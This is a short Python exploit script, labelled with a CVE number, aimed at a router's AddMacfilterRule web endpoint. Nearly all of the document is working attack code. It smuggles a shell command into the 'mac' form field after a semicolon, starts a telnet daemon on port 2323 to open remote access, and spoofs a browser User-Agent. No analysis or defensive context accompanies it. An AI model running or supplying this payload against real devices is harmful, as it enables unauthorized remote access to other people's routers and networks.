CVE-2026-5547

import requests def exploit(target_ip): # Target endpoint for the vulnerable function url = f"http://{target_ip}/goform/AddMacfilterRule" # Headers to mimic a legitimate browser request headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } # Payload injecting a command to restart telnet (Example) # The semicolon (;) is used to break out of the intended command context payload_data = { "mac": "00:11:22:33:44:55; telnetd -p 2323 &", "deviceId": "1" } try: print(f"[+] Sending payload to {target_ip}...") response = requests.post(url, data=payload_data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully. Check if telnet is running on port 2323.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP exploit(target)

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